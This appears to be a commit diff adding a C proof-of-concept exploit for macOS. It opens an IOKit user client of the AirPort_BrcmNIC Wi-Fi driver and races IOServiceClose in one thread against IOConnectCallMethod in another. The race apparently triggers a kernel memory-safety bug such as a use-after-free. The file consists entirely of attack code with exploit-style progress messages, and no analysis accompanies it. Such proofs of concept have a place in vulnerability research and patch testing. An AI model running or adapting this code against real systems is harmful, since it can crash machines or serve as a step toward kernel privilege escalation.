|
| 1 | +#include <IOKit/IOKitLib.h> |
| 2 | +#include <mach/mach.h> |
| 3 | +#include <pthread.h> |
| 4 | +#include <stdio.h> |
| 5 | + |
| 6 | +io_connect_t g_client = MACH_PORT_NULL; |
| 7 | +int g_start = 0; |
| 8 | + |
| 9 | +void *th_close(void *arg) { |
| 10 | + while (!g_start) {} |
| 11 | + printf("[+] Close Client\n"); |
| 12 | + IOServiceClose(g_client); |
| 13 | + return NULL; |
| 14 | +} |
| 15 | + |
| 16 | +int main(int argc, char **argv) { |
| 17 | + const char *service_name = "AirPort_BrcmNIC"; |
| 18 | + /*const char *service_name = "BCM5701Enet";*/ |
| 19 | + |
| 20 | + io_service_t service = |
| 21 | + IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name)); |
| 22 | + if (service == MACH_PORT_NULL) { |
| 23 | + printf("[-] Cannot get matching service of %s\n", service_name); |
| 24 | + return 0; |
| 25 | + } |
| 26 | + printf("[+] Get matching service of %s, service=0x%x\n", service_name, service); |
| 27 | + |
| 28 | + io_connect_t client = MACH_PORT_NULL; |
| 29 | + kern_return_t ret = IOServiceOpen(service, mach_task_self(), 0x6d444e53, &client); |
| 30 | + if (ret != KERN_SUCCESS) { |
| 31 | + printf("[-] Open service of %s failed, Reason: %s\n", service_name, mach_error_string(ret)); |
| 32 | + return 0; |
| 33 | + } |
| 34 | + printf("[+] Open IOUserClient of %s succeed, client=0x%x\n", service_name, client); |
| 35 | + |
| 36 | + g_client = client; |
| 37 | + pthread_t thread_id; |
| 38 | + pthread_create(&thread_id, NULL, th_close, NULL); |
| 39 | + g_start = 1; |
| 40 | + |
| 41 | + usleep(1); |
| 42 | + printf("[+] IOConnectCallMethod running...\n"); |
| 43 | + ret = IOConnectCallMethod(client, 0, NULL, 0, NULL, 0, NULL, NULL, NULL, NULL); |
| 44 | + |
| 45 | + pthread_join(thread_id, NULL); |
| 46 | + return 0; |
| 47 | +} |
0 commit comments